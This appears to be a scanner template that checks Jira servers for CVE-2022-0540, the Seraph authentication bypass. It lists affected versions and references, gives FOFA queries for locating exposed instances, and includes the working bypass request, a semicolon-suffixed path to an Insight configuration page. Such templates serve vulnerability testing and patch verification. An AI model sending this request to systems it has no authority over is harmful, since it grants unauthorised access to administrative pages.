CVE-2022-0540: Atlassian Jira - Authentication bypass in Seraph

id: CVE-2022-0540

info:
  name: Atlassian Jira - Authentication bypass in Seraph
  author: DhiyaneshDK 不动明王
  severity: critical
  verified: true 
  description: |
    A vulnerability in Jira Seraph allows a remote, unauthenticated attacker to 
    bypass authentication by sending a specially crafted HTTP 
    request. This affects Atlassian Jira Server and Data Center versions before 8.13.18, 
    versions 8.14.0 and later before 8.20.6, and versions 8.21.0 and later before 8.22.0.
    This also affects Atlassian Jira Service Management Server and Data Center versions before 4.13.18, 
    versions 4.14.0 and later before 4.20.6, and versions 4.21.0 and later before 4.22.0.

    fofa  "Atlassian Jira" 
    fofa   title="General"
  reference:
    - https://blog.viettelcybersecurity.com/cve-2022-0540-authentication-bypass-in-seraph/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0540
    - https://confluence.atlassian.com/display/JIRA/Jira+Security+Advisory+2022-04-20

rules:
  r0:
    request:
      method: GET
      path: /InsightPluginShowGeneralConfiguration.jspa;
    expression: response.status == 200 && response.body.bcontains(b'General Insight Configuration')
expression: r0()